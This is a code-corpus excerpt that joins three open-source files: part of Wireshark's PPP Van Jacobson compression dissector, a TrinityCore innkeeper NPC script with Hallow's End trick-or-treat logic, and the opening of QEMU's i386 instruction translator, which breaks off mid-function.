ipsize = pntohs(&buffer[IP_FIELD_TOT_LEN]);
if (ipsize < isize)
isize = ipsize;
next_tvb = tvb_new_child_real_data(tvb, buffer, isize, ipsize);
tvb_set_free_cb(next_tvb, g_free);
add_new_data_source(pinfo, next_tvb, "VJ Uncompressed");
/*
* Call IP dissector.
*/
call_dissector(ip_handle, next_tvb, pinfo, tree);
}
/* Dissector for VJ Compressed packets */
static void
dissect_vjc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_item *ti;
proto_tree *vj_tree = NULL;
tvbuff_t *next_tvb = NULL;
slcompress *comp = NULL;
gint err = VJ_ERROR;
col_set_str(pinfo->cinfo, COL_PROTOCOL, "PPP VJ");
if(tree != NULL) {
ti = proto_tree_add_protocol_format(tree, proto_vj, tvb, 0, -1,
"PPP VJ Compression: Compressed data");
vj_tree = proto_item_add_subtree(ti, ett_vj);
}
if(!ppp_vj_decomp || pinfo->p2p_dir == P2P_DIR_UNKNOWN) {
/*
* VJ decompression turned off, so we shouldn't decompress, or
* direction of the traffic unknown, so we can't decompress.
*/
comp = NULL;
} else {
/* Get state for that direction */
comp = rx_tx_state[pinfo->p2p_dir];
}
/* Process the compressed data header */
if(vjc_process(tvb, pinfo, vj_tree, comp) == VJ_ERROR)
return;
/* Decompression possible - set up tvb containing decompressed packet */
err = vjc_tvb_setup(tvb, &next_tvb, pinfo);
if(err == VJ_ERROR) {
if(tree != NULL)
call_dissector(data_handle, tvb, pinfo, vj_tree);
return;
}
/* No errors, so call IP dissector */
call_dissector(ip_handle, next_tvb, pinfo, tree);
}
/* Initialization function */
static void
vj_init(void)
{
gint i = 0;
for(i = 0; i < RX_TX_STATE_COUNT; i++) {
rx_tx_state[i] = slhc_init();
}
return;
}
/* Initialization routine for VJ decompression */
static slcompress *
slhc_init(void)
{
slcompress *comp = se_new0(slcompress);
int i;
/*
* Initialize the state; there is no current connection, and
* we have no header data for any of the connections, as we
* haven't yet seen an uncompressed frame.
*/
comp->recv_current = TCP_SIMUL_CONV_MAX - 1;
for (i = 0; i < TCP_SIMUL_CONV_MAX; i++)
comp->rstate[i].flags |= SLF_TOSS;
return comp;
}
/* Setup the decompressed packet tvb for VJ compressed packets */
static gint
vjc_tvb_setup(tvbuff_t *src_tvb,
tvbuff_t **dst_tvb,
packet_info *pinfo)
{
vj_header_t *hdr_buf;
guint8 offset;
guint8 *data_ptr;
gint hdr_len;
gint tot_len;
gint buf_len;
guint8 *pbuf;
DISSECTOR_ASSERT(src_tvb);
/* Get decompressed header stored in fd protocol area */
hdr_buf = (vj_header_t *)p_get_proto_data(pinfo->fd, proto_vj, 0);
if(hdr_buf == NULL) {
col_set_str(pinfo->cinfo, COL_INFO, "VJ compressed TCP (previous data bad or missing)");
return VJ_ERROR;
}
col_set_str(pinfo->cinfo, COL_INFO, "VJ compressed TCP");
/* Get the data offset in the tvbuff */
offset = hdr_buf->offset;
/* Copy header and form tvb */
data_ptr = hdr_buf->data;
hdr_len = lo_nibble(data_ptr[0]) * 4;
hdr_len += hi_nibble(data_ptr[hdr_len + 12]) * 4;
buf_len = tvb_length(src_tvb) + hdr_len - offset;
pbuf = (guint8 *)g_malloc(buf_len);
memcpy(pbuf, data_ptr, hdr_len);
tvb_memcpy(src_tvb, pbuf + hdr_len, offset, buf_len - hdr_len);
memcpy(&tot_len, data_ptr + 2, 2);
*dst_tvb = tvb_new_child_real_data(src_tvb, pbuf, buf_len, g_ntohs(tot_len));
tvb_set_free_cb(*dst_tvb, g_free);
add_new_data_source(pinfo, *dst_tvb, "VJ Decompressed");
return VJ_OK;
}
/*
* For VJ compressed packet:
*
* check if it is malformed;
* dissect the relevant fields;
* update the decompressor state on the first pass.
*/
static gint
vjc_process(tvbuff_t *src_tvb, packet_info *pinfo, proto_tree *tree,
slcompress *comp)
{
int offset = 0;
int i;
gint changes;
proto_item *ti;
proto_tree *changes_tree;
guint8 conn_index;
cstate *cs = NULL;
iphdr_type *ip = NULL;
tcphdr_type *thp = NULL;
guint16 tcp_cksum;
gint hdrlen = 0;
guint16 word;
int delta;
gint len;
vj_header_t *buf_hdr;
guint8 *data_ptr;
if(tvb_length(src_tvb) < 3){
/*
* We don't even have enough data for the change byte, so we can't
* determine which connection this is; mark all connections as
* non-decompressible.
*/
col_set_str(pinfo->cinfo, COL_INFO, "VJ compressed TCP (not enough data available)");
if(tree != NULL)
call_dissector(data_handle, src_tvb, pinfo, tree);
if(comp != NULL) {
for(i = 0; i < TCP_SIMUL_CONV_MAX; i++)
comp->rstate[i].flags |= SLF_TOSS;
}
return VJ_ERROR;
}
/* Read the change byte */
changes = tvb_get_guint8(src_tvb, offset);
if(tree != NULL) {
switch (changes & SPECIALS_MASK) {
case SPECIAL_I:
ti = proto_tree_add_uint_format(tree, hf_vj_change_mask, src_tvb,
offset, 1, changes,
"Change mask: 0x%02x (echoed interactive traffic)",
changes);
break;
case SPECIAL_D:
ti = proto_tree_add_uint_format(tree, hf_vj_change_mask, src_tvb,
offset, 1, changes,
"Change mask: 0x%02x (unidirectional data)",
changes);
break;
default:
/*
* XXX - summarize bits?
*/
ti = proto_tree_add_uint_format(tree, hf_vj_change_mask, src_tvb,
offset, 1, changes,
"Change mask: 0x%02x", changes);
break;
}
changes_tree = proto_item_add_subtree(ti, ett_vj_changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_c, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_i, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_p, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_s, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_a, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_w, src_tvb,
offset, 1, changes);
proto_tree_add_boolean(changes_tree, hf_vj_change_mask_u, src_tvb,
offset, 1, changes);
}
offset++;
if(changes & NEW_C){ /* Read conn index */
conn_index = tvb_get_guint8(src_tvb, offset);
if(tree != NULL)
proto_tree_add_uint(tree, hf_vj_connection_number, src_tvb, offset, 1,
conn_index);
offset++;
if(comp != NULL)
comp->recv_current = conn_index;
}
if(!pinfo->fd->flags.visited) {
/*
* This is the first time this frame has been seen, so we need
* state information to decompress it. If that information isn't
* available, don't use the state information, and don't update it,
* either.
*/
if(comp != NULL && !(comp->rstate[comp->recv_current].flags & SLF_TOSS)) {
cs = &comp->rstate[comp->recv_current];
thp = &cs->cs_tcp;
ip = &cs->cs_ip;
}
}
/* Build TCP and IP headers */
tcp_cksum = tvb_get_ntohs(src_tvb, offset);
if(tree != NULL)
proto_tree_add_uint(tree, hf_vj_tcp_cksum, src_tvb, offset, 2, tcp_cksum);
if(cs != NULL) {
hdrlen = lo_nibble(ip->ihl_version) * 4 + TCP_OFFSET(thp) * 4;
thp->cksum = g_htons(tcp_cksum);
}
offset += 2;
if(cs != NULL) {
if(changes & CHANGE_PUSH_BIT)
thp->flags |= TCP_PUSH_BIT;
else
thp->flags &= ~TCP_PUSH_BIT;
}
/* Deal with special cases and normal deltas */
switch(changes & SPECIALS_MASK){
guint32 tmp;
case SPECIAL_I: /* Echoed terminal traffic */
if(cs != NULL) {
word = g_ntohs(ip->tot_len) - hdrlen;
tmp = g_ntohl(thp->ack_seq) + word;
thp->ack_seq = g_htonl(tmp);
tmp = g_ntohl(thp->seq) + word;
thp->seq = g_htonl(tmp);
}
break;
case SPECIAL_D: /* Unidirectional data */
if(cs != NULL) {
tmp = g_ntohl(thp->seq) + g_ntohs(ip->tot_len) - hdrlen;
thp->seq = g_htonl(tmp);
}
break;
default:
if(changes & NEW_U){
delta = get_unsigned_delta(src_tvb, &offset, hf_vj_urp, tree);
if(cs != NULL) {
thp->urg_ptr = delta;
thp->flags |= TCP_URG_BIT;
}
} else {
if(cs != NULL)
thp->flags &= ~TCP_URG_BIT;
}
if(changes & NEW_W) {
delta = get_signed_delta(src_tvb, &offset, hf_vj_win_delta, tree);
if(cs != NULL) {
tmp = g_ntohs(thp->window) + delta;
thp->window = g_htons(tmp);
}
}
if(changes & NEW_A) {
delta = get_unsigned_delta(src_tvb, &offset, hf_vj_ack_delta, tree);
if(cs != NULL) {
tmp = g_ntohl(thp->ack_seq) + delta;
thp->ack_seq = g_htonl(tmp);
}
}
if(changes & NEW_S) {
delta = get_unsigned_delta(src_tvb, &offset, hf_vj_seq_delta, tree);
if(cs != NULL) {
tmp = g_ntohl(thp->seq) + delta;
thp->seq = g_htonl(tmp);
}
}
break;
}
if(changes & NEW_I)
delta = get_unsigned_delta(src_tvb, &offset, hf_vj_ip_id_delta, tree);
else
delta = 1;
if(cs != NULL) {
guint32 tmp;
tmp = g_ntohs(ip->id) + delta;
ip->id = g_htons(tmp);
}
/* Compute IP packet length and the buffer length needed */
len = tvb_reported_length_remaining(src_tvb, offset);
if(len < 0) {
/*
* This shouldn't happen, as we *were* able to fetch stuff right before
* offset.
*/
col_set_str(pinfo->cinfo, COL_INFO, "VJ compressed TCP (not enough data available)");
if(cs != NULL)
cs->flags |= SLF_TOSS;
return VJ_ERROR;
}
/* Show the TCP payload */
if(tree != NULL && tvb_offset_exists(src_tvb, offset))
proto_tree_add_text(tree, src_tvb, offset, -1, "TCP payload");
/* Nothing more to do if we don't have any compression state */
if(comp == NULL) {
/* Direction of the traffic unknown - can't decompress */
col_set_str(pinfo->cinfo, COL_INFO, "VJ compressed TCP (direction unknown)");
return VJ_ERROR;
}
if((cs != NULL) && (!pinfo->fd->flags.visited)) {
len += hdrlen;
ip->tot_len = g_htons(len);
/* Compute IP check sum */
ip->cksum = 0;
ip->cksum = ip_csum((guint8 *)ip, lo_nibble(ip->ihl_version) * 4);
/* Store the reconstructed header in frame data area */
buf_hdr = se_new(vj_header_t);
buf_hdr->offset = offset; /* Offset in tvbuff is also stored */
data_ptr = buf_hdr->data;
memcpy(data_ptr, ip, IP_HDR_LEN);
data_ptr += IP_HDR_LEN;
if(lo_nibble(ip->ihl_version) > 5) {
memcpy(data_ptr, cs->cs_ipopt, (lo_nibble(ip->ihl_version) - 5) * 4);
data_ptr += (lo_nibble(ip->ihl_version) - 5) * 4;
}
memcpy(data_ptr, thp, TCP_HDR_LEN);
data_ptr += TCP_HDR_LEN;
if(TCP_OFFSET(thp) > 5)
memcpy(data_ptr, cs->cs_tcpopt, (TCP_OFFSET(thp) - 5) * 4);
p_add_proto_data(pinfo->fd, proto_vj, 0, buf_hdr);
}
return VJ_OK;
}
/*
* Get an unsigned delta for a field, and put it into the protocol tree if
* we're building a protocol tree.
*/
static int
get_unsigned_delta(tvbuff_t *tvb, int *offsetp, int hf, proto_tree *tree)
{
int offset = *offsetp;
int len;
guint16 del;
len = 1;
del = tvb_get_guint8(tvb, offset++);
if(del == 0){
del = tvb_get_ntohs(tvb, offset);
offset += 2;
len += 2;
}
if(tree != NULL)
proto_tree_add_uint(tree, hf, tvb, *offsetp, len, del);
*offsetp = offset;
return del;
}
/*
* Get a signed delta for a field, and put it into the protocol tree if
* we're building a protocol tree.
*/
static int
get_signed_delta(tvbuff_t *tvb, int *offsetp, int hf, proto_tree *tree)
{
int offset = *offsetp;
int len;
gint16 del;
len = 1;
del = tvb_get_guint8(tvb, offset++);
if(del == 0){
del = tvb_get_ntohs(tvb, offset);
offset += 2;
len += 2;
}
if(tree != NULL)
proto_tree_add_int(tree, hf, tvb, *offsetp, len, del);
*offsetp = offset;
return del;
}
/* Wrapper for in_cksum function */
static guint16
ip_csum(const guint8 * ptr, guint32 len)
{
vec_t cksum_vec[1];
cksum_vec[0].ptr = ptr;
cksum_vec[0].len = len;
return in_cksum(&cksum_vec[0], 1);
}
/* Registration functions for dissectors */
void
proto_register_vj(void)
{
static hf_register_info hf[] = {
{ &hf_vj_change_mask,
{ "Change mask", "vj.change_mask", FT_UINT8, BASE_HEX,
NULL, 0x0, NULL, HFILL }},
{ &hf_vj_change_mask_c,
{ "Connection changed", "vj.change_mask_c", FT_BOOLEAN, 8,
NULL, NEW_C, "Connection number changed", HFILL }},
{ &hf_vj_change_mask_i,
{ "IP ID change != 1", "vj.change_mask_i", FT_BOOLEAN, 8,
NULL, NEW_I, "IP ID changed by a value other than 1", HFILL }},
{ &hf_vj_change_mask_p,
{ "Push bit set", "vj.change_mask_p", FT_BOOLEAN, 8,
NULL, CHANGE_PUSH_BIT, "TCP PSH flag set", HFILL }},
{ &hf_vj_change_mask_s,
{ "Sequence number changed", "vj.change_mask_s", FT_BOOLEAN, 8,
NULL, NEW_S, NULL, HFILL }},
{ &hf_vj_change_mask_a,
{ "Ack number changed", "vj.change_mask_a", FT_BOOLEAN, 8,
NULL, NEW_A, "Acknowledgement sequence number changed", HFILL }},
{ &hf_vj_change_mask_w,
{ "Window changed", "vj.change_mask_w", FT_BOOLEAN, 8,
NULL, NEW_W, "TCP window changed", HFILL }},
{ &hf_vj_change_mask_u,
{ "Urgent pointer set", "vj.change_mask_u", FT_BOOLEAN, 8,
NULL, NEW_U, NULL, HFILL }},
{ &hf_vj_connection_number,
{ "Connection number", "vj.connection_number", FT_UINT8, BASE_DEC,
NULL, 0x0, NULL, HFILL }},
{ &hf_vj_tcp_cksum,
{ "TCP checksum", "vj.tcp_cksum", FT_UINT16, BASE_HEX,
NULL, 0x0, NULL, HFILL }},
{ &hf_vj_urp,
{ "Urgent pointer", "vj.urp", FT_UINT16, BASE_DEC,
NULL, 0x0, NULL, HFILL }},
{ &hf_vj_win_delta,
{ "Window delta", "vj.win_delta", FT_INT16, BASE_DEC,
NULL, 0x0, "Delta for window", HFILL }},
{ &hf_vj_ack_delta,
{ "Ack delta", "vj.ack_delta", FT_UINT16, BASE_DEC,
NULL, 0x0, "Delta for acknowledgment sequence number", HFILL }},
{ &hf_vj_seq_delta,
{ "Sequence delta", "vj.seq_delta", FT_UINT16, BASE_DEC,
NULL, 0x0, "Delta for sequence number", HFILL }},
{ &hf_vj_ip_id_delta,
{ "IP ID delta", "vj.ip_id_delta", FT_UINT16, BASE_DEC,
NULL, 0x0, "Delta for IP ID", HFILL }},
};
static gint *ett[] = {
&ett_vj,
&ett_vj_changes,
};
proto_vj = proto_register_protocol("PPP VJ Compression", "PPP VJ", "vj");
proto_register_field_array(proto_vj, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
register_init_routine(&vj_init);
}
void
proto_reg_handoff_vj(void)
{
dissector_handle_t vjc_handle;
dissector_handle_t vjuc_handle;
vjc_handle = create_dissector_handle(dissect_vjc, proto_vj);
dissector_add_uint("ppp.protocol", PPP_VJC_COMP, vjc_handle);
vjuc_handle = create_dissector_handle(dissect_vjuc, proto_vj);
dissector_add_uint("ppp.protocol", PPP_VJC_UNCOMP, vjuc_handle);
ip_handle = find_dissector("ip");
data_handle = find_dissector("data");
}
|
masonh/wireshark
|
epan/dissectors/packet-vj.c
|
C
|
gpl-2.0
| 28,856 |
/*
* Copyright (C) 2008-2013 Trinitycore <http://www.trinitycore.org/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Npc_Innkeeper
SDAuthor: WarHead
SD%Complete: 99%
SDComment: Complete
SDCategory: NPCs
EndScriptData */
#include "ScriptMgr.h"
#include "ScriptedCreature.h"
#include "ScriptedGossip.h"
#include "GameEventMgr.h"
#include "Player.h"
#include "WorldSession.h"
enum Spells
{
SPELL_TRICK_OR_TREATED = 24755,
SPELL_TREAT = 24715
};
#define LOCALE_TRICK_OR_TREAT_0 "Trick or Treat!"
#define LOCALE_TRICK_OR_TREAT_2 "Des bonbons ou des blagues!"
#define LOCALE_TRICK_OR_TREAT_3 "Süßes oder Saures!"
#define LOCALE_TRICK_OR_TREAT_6 "¡Truco o trato!"
#define LOCALE_INNKEEPER_0 "Make this inn my home."
#define LOCALE_INNKEEPER_3 "Ich möchte dieses Gasthaus zu meinem Heimatort machen."
class npc_innkeeper : public CreatureScript
{
public:
npc_innkeeper() : CreatureScript("npc_innkeeper") { }
bool OnGossipHello(Player* player, Creature* creature) OVERRIDE
{
if (IsHolidayActive(HOLIDAY_HALLOWS_END) && !player->HasAura(SPELL_TRICK_OR_TREATED))
{
const char* localizedEntry;
switch (player->GetSession()->GetSessionDbcLocale())
{
case LOCALE_frFR: localizedEntry = LOCALE_TRICK_OR_TREAT_2; break;
case LOCALE_deDE: localizedEntry = LOCALE_TRICK_OR_TREAT_3; break;
case LOCALE_esES: localizedEntry = LOCALE_TRICK_OR_TREAT_6; break;
case LOCALE_enUS: default: localizedEntry = LOCALE_TRICK_OR_TREAT_0;
}
player->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, localizedEntry, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 1);
}
if (creature->IsQuestGiver())
player->PrepareQuestMenu(creature->GetGUID());
if (creature->IsVendor())
player->ADD_GOSSIP_ITEM(GOSSIP_ICON_VENDOR, GOSSIP_TEXT_BROWSE_GOODS, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_TRADE);
if (creature->IsInnkeeper())
{
const char* localizedEntry;
switch (player->GetSession()->GetSessionDbcLocale())
{
case LOCALE_deDE: localizedEntry = LOCALE_INNKEEPER_3; break;
case LOCALE_enUS: default: localizedEntry = LOCALE_INNKEEPER_0;
}
player->ADD_GOSSIP_ITEM(GOSSIP_ICON_INTERACT_1, localizedEntry, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INN);
}
player->TalkedToCreature(creature->GetEntry(), creature->GetGUID());
player->SEND_GOSSIP_MENU(player->GetGossipTextId(creature), creature->GetGUID());
return true;
}
bool OnGossipSelect(Player* player, Creature* creature, uint32 /*sender*/, uint32 action) OVERRIDE
{
player->PlayerTalkClass->ClearMenus();
if (action == GOSSIP_ACTION_INFO_DEF + 1 && IsHolidayActive(HOLIDAY_HALLOWS_END) && !player->HasAura(SPELL_TRICK_OR_TREATED))
{
player->CastSpell(player, SPELL_TRICK_OR_TREATED, true);
if (urand(0, 1))
player->CastSpell(player, SPELL_TREAT, true);
else
{
uint32 trickspell = 0;
switch (urand(0, 13))
{
case 0: trickspell = 24753; break; // cannot cast, random 30sec
case 1: trickspell = 24713; break; // lepper gnome costume
case 2: trickspell = 24735; break; // male ghost costume
case 3: trickspell = 24736; break; // female ghostcostume
case 4: trickspell = 24710; break; // male ninja costume
case 5: trickspell = 24711; break; // female ninja costume
case 6: trickspell = 24708; break; // male pirate costume
case 7: trickspell = 24709; break; // female pirate costume
case 8: trickspell = 24723; break; // skeleton costume
case 9: trickspell = 24753; break; // Trick
case 10: trickspell = 24924; break; // Hallow's End Candy
case 11: trickspell = 24925; break; // Hallow's End Candy
case 12: trickspell = 24926; break; // Hallow's End Candy
case 13: trickspell = 24927; break; // Hallow's End Candy
}
player->CastSpell(player, trickspell, true);
}
player->CLOSE_GOSSIP_MENU();
return true;
}
player->CLOSE_GOSSIP_MENU();
switch (action)
{
case GOSSIP_ACTION_TRADE: player->GetSession()->SendListInventory(creature->GetGUID()); break;
case GOSSIP_ACTION_INN: player->SetBindPoint(creature->GetGUID()); break;
}
return true;
}
};
void AddSC_npc_innkeeper()
{
new npc_innkeeper;
}
|
InfinityCore/InfinityCore243
|
src/server/scripts/World/npc_innkeeper.cpp
|
C++
|
gpl-2.0
| 5,466 |
/*
* i386 translation
*
* Copyright (c) 2003 Fabrice Bellard
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, see <http://www.gnu.org/licenses/>.
*/
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <signal.h>
#include "cpu.h"
#include "exec-all.h"
#include "disas.h"
#include "tcg-op.h"
#include "helper.h"
#define GEN_HELPER 1
#include "helper.h"
#define PREFIX_REPZ 0x01
#define PREFIX_REPNZ 0x02
#define PREFIX_LOCK 0x04
#define PREFIX_DATA 0x08
#define PREFIX_ADR 0x10
#ifdef TARGET_X86_64
#define X86_64_ONLY(x) x
#define X86_64_DEF(...) __VA_ARGS__
#define CODE64(s) ((s)->code64)
#define REX_X(s) ((s)->rex_x)
#define REX_B(s) ((s)->rex_b)
/* XXX: gcc generates push/pop in some opcodes, so we cannot use them */
#if 1
#define BUGGY_64(x) NULL
#endif
#else
#define X86_64_ONLY(x) NULL
#define X86_64_DEF(...)
#define CODE64(s) 0
#define REX_X(s) 0
#define REX_B(s) 0
#endif
//#define MACRO_TEST 1
/* global register indexes */
static TCGv_ptr cpu_env;
static TCGv cpu_A0, cpu_cc_src, cpu_cc_dst, cpu_cc_tmp;
static TCGv_i32 cpu_cc_op;
static TCGv cpu_regs[CPU_NB_REGS];
/* local temps */
static TCGv cpu_T[2], cpu_T3;
/* local register indexes (only used inside old micro ops) */
static TCGv cpu_tmp0, cpu_tmp4;
static TCGv_ptr cpu_ptr0, cpu_ptr1;
static TCGv_i32 cpu_tmp2_i32, cpu_tmp3_i32;
static TCGv_i64 cpu_tmp1_i64;
static TCGv cpu_tmp5;
static uint8_t gen_opc_cc_op[OPC_BUF_SIZE];
#include "gen-icount.h"
#ifdef TARGET_X86_64
static int x86_64_hregs;
#endif
typedef struct DisasContext {
/* current insn context */
int override; /* -1 if no override */
int prefix;
int aflag, dflag;
target_ulong pc; /* pc = eip + cs_base */
int is_jmp; /* 1 = means jump (stop translation), 2 means CPU
static state change (stop translation) */
/* current block context */
target_ulong cs_base; /* base of CS segment */
int pe; /* protected mode */
int code32; /* 32 bit code segment */
#ifdef TARGET_X86_64
int lma; /* long mode active */
int code64; /* 64 bit code segment */
int rex_x, rex_b;
#endif
int ss32; /* 32 bit stack segment */
int cc_op; /* current CC operation */
int addseg; /* non zero if either DS/ES/SS have a non zero base */
int f_st; /* currently unused */
int vm86; /* vm86 mode */
int cpl;
int iopl;
int tf; /* TF cpu flag */
int singlestep_enabled; /* "hardware" single step enabled */
int jmp_opt; /* use direct block chaining for direct jumps */
int mem_index; /* select memory access functions */
uint64_t flags; /* all execution flags */
struct TranslationBlock *tb;
int popl_esp_hack; /* for correct popl with esp base handling */
int rip_offset; /* only used in x86_64, but left for simplicity */
int cpuid_features;
int cpuid_ext_features;
int cpuid_ext2_features;
int cpuid_ext3_features;
} DisasContext;
static void gen_eob(DisasContext *s);
static void gen_jmp(DisasContext *s, target_ulong eip);
static void gen_jmp_tb(DisasContext *s, target_ulong eip, int tb_num);
/* i386 arith/logic operations */
enum {
OP_ADDL,
OP_ORL,
OP_ADCL,
OP_SBBL,
OP_ANDL,
OP_SUBL,
OP_XORL,
OP_CMPL,
};
/* i386 shift ops */
enum {
OP_ROL,
OP_ROR,
OP_RCL,
OP_RCR,
OP_SHL,
OP_SHR,
OP_SHL1, /* undocumented */
OP_SAR = 7,
};
enum {
JCC_O,
JCC_B,
JCC_Z,
JCC_BE,
JCC_S,
JCC_P,
JCC_L,
JCC_LE,
};
/* operand size */
enum {
OT_BYTE = 0,
OT_WORD,
OT_LONG,
OT_QUAD,
};
enum {
/* I386 int registers */
OR_EAX, /* MUST be even numbered */
OR_ECX,
OR_EDX,
OR_EBX,
OR_ESP,
OR_EBP,
OR_ESI,
OR_EDI,
OR_TMP0 = 16, /* temporary operand register */
OR_TMP1,
OR_A0, /* temporary register used when doing address evaluation */
};
static inline void gen_op_movl_T0_0(void)
{
tcg_gen_movi_tl(cpu_T[0], 0);
}
static inline void gen_op_movl_T0_im(int32_t val)
{
tcg_gen_movi_tl(cpu_T[0], val);
}
static inline void gen_op_movl_T0_imu(uint32_t val)
{
tcg_gen_movi_tl(cpu_T[0], val);
}
static inline void gen_op_movl_T1_im(int32_t val)
{
tcg_gen_movi_tl(cpu_T[1], val);
}
static inline void gen_op_movl_T1_imu(uint32_t val)
{
tcg_gen_movi_tl(cpu_T[1], val);
}
static inline void gen_op_movl_A0_im(uint32_t val)
{
tcg_gen_movi_tl(cpu_A0, val);
}
#ifdef TARGET_X86_64
static inline void gen_op_movq_A0_im(int64_t val)
{
tcg_gen_movi_tl(cpu_A0, val);
}
#endif
static inline void gen_movtl_T0_im(target_ulong val)
{
tcg_gen_movi_tl(cpu_T[0], val);
}
static inline void gen_movtl_T1_im(target_ulong val)
{
tcg_gen_movi_tl(cpu_T[1], val);
}
static inline void gen_op_andl_T0_ffff(void)
{
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 0xffff);
}
static inline void gen_op_andl_T0_im(uint32_t val)
{
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], val);
}
static inline void gen_op_movl_T0_T1(void)
{
tcg_gen_mov_tl(cpu_T[0], cpu_T[1]);
}
static inline void gen_op_andl_A0_ffff(void)
{
tcg_gen_andi_tl(cpu_A0, cpu_A0, 0xffff);
}
#ifdef TARGET_X86_64
#define NB_OP_SIZES 4
#else /* !TARGET_X86_64 */
#define NB_OP_SIZES 3
#endif /* !TARGET_X86_64 */
#if defined(HOST_WORDS_BIGENDIAN)
#define REG_B_OFFSET (sizeof(target_ulong) - 1)
#define REG_H_OFFSET (sizeof(target_ulong) - 2)
#define REG_W_OFFSET (sizeof(target_ulong) - 2)
#define REG_L_OFFSET (sizeof(target_ulong) - 4)
#define REG_LH_OFFSET (sizeof(target_ulong) - 8)
#else
#define REG_B_OFFSET 0
#define REG_H_OFFSET 1
#define REG_W_OFFSET 0
#define REG_L_OFFSET 0
#define REG_LH_OFFSET 4
#endif
static inline void gen_op_mov_reg_v(int ot, int reg, TCGv t0)
{
TCGv tmp;
switch(ot) {
case OT_BYTE:
tmp = tcg_temp_new();
tcg_gen_ext8u_tl(tmp, t0);
if (reg < 4 X86_64_DEF( || reg >= 8 || x86_64_hregs)) {
tcg_gen_andi_tl(cpu_regs[reg], cpu_regs[reg], ~0xff);
tcg_gen_or_tl(cpu_regs[reg], cpu_regs[reg], tmp);
} else {
tcg_gen_shli_tl(tmp, tmp, 8);
tcg_gen_andi_tl(cpu_regs[reg - 4], cpu_regs[reg - 4], ~0xff00);
tcg_gen_or_tl(cpu_regs[reg - 4], cpu_regs[reg - 4], tmp);
}
tcg_temp_free(tmp);
break;
case OT_WORD:
tmp = tcg_temp_new();
tcg_gen_ext16u_tl(tmp, t0);
tcg_gen_andi_tl(cpu_regs[reg], cpu_regs[reg], ~0xffff);
tcg_gen_or_tl(cpu_regs[reg], cpu_regs[reg], tmp);
tcg_temp_free(tmp);
break;
default: /* XXX this shouldn't be reached; abort? */
case OT_LONG:
/* For x86_64, this sets the higher half of register to zero.
For i386, this is equivalent to a mov. */
tcg_gen_ext32u_tl(cpu_regs[reg], t0);
break;
#ifdef TARGET_X86_64
case OT_QUAD:
tcg_gen_mov_tl(cpu_regs[reg], t0);
break;
#endif
}
}
static inline void gen_op_mov_reg_T0(int ot, int reg)
{
gen_op_mov_reg_v(ot, reg, cpu_T[0]);
}
static inline void gen_op_mov_reg_T1(int ot, int reg)
{
gen_op_mov_reg_v(ot, reg, cpu_T[1]);
}
static inline void gen_op_mov_reg_A0(int size, int reg)
{
TCGv tmp;
switch(size) {
case 0:
tmp = tcg_temp_new();
tcg_gen_ext16u_tl(tmp, cpu_A0);
tcg_gen_andi_tl(cpu_regs[reg], cpu_regs[reg], ~0xffff);
tcg_gen_or_tl(cpu_regs[reg], cpu_regs[reg], tmp);
tcg_temp_free(tmp);
break;
default: /* XXX this shouldn't be reached; abort? */
case 1:
/* For x86_64, this sets the higher half of register to zero.
For i386, this is equivalent to a mov. */
tcg_gen_ext32u_tl(cpu_regs[reg], cpu_A0);
break;
#ifdef TARGET_X86_64
case 2:
tcg_gen_mov_tl(cpu_regs[reg], cpu_A0);
break;
#endif
}
}
static inline void gen_op_mov_v_reg(int ot, TCGv t0, int reg)
{
switch(ot) {
case OT_BYTE:
if (reg < 4 X86_64_DEF( || reg >= 8 || x86_64_hregs)) {
goto std_case;
} else {
tcg_gen_shri_tl(t0, cpu_regs[reg - 4], 8);
tcg_gen_ext8u_tl(t0, t0);
}
break;
default:
std_case:
tcg_gen_mov_tl(t0, cpu_regs[reg]);
break;
}
}
static inline void gen_op_mov_TN_reg(int ot, int t_index, int reg)
{
gen_op_mov_v_reg(ot, cpu_T[t_index], reg);
}
static inline void gen_op_movl_A0_reg(int reg)
{
tcg_gen_mov_tl(cpu_A0, cpu_regs[reg]);
}
static inline void gen_op_addl_A0_im(int32_t val)
{
tcg_gen_addi_tl(cpu_A0, cpu_A0, val);
#ifdef TARGET_X86_64
tcg_gen_andi_tl(cpu_A0, cpu_A0, 0xffffffff);
#endif
}
#ifdef TARGET_X86_64
static inline void gen_op_addq_A0_im(int64_t val)
{
tcg_gen_addi_tl(cpu_A0, cpu_A0, val);
}
#endif
static void gen_add_A0_im(DisasContext *s, int val)
{
#ifdef TARGET_X86_64
if (CODE64(s))
gen_op_addq_A0_im(val);
else
#endif
gen_op_addl_A0_im(val);
}
static inline void gen_op_addl_T0_T1(void)
{
tcg_gen_add_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
}
static inline void gen_op_jmp_T0(void)
{
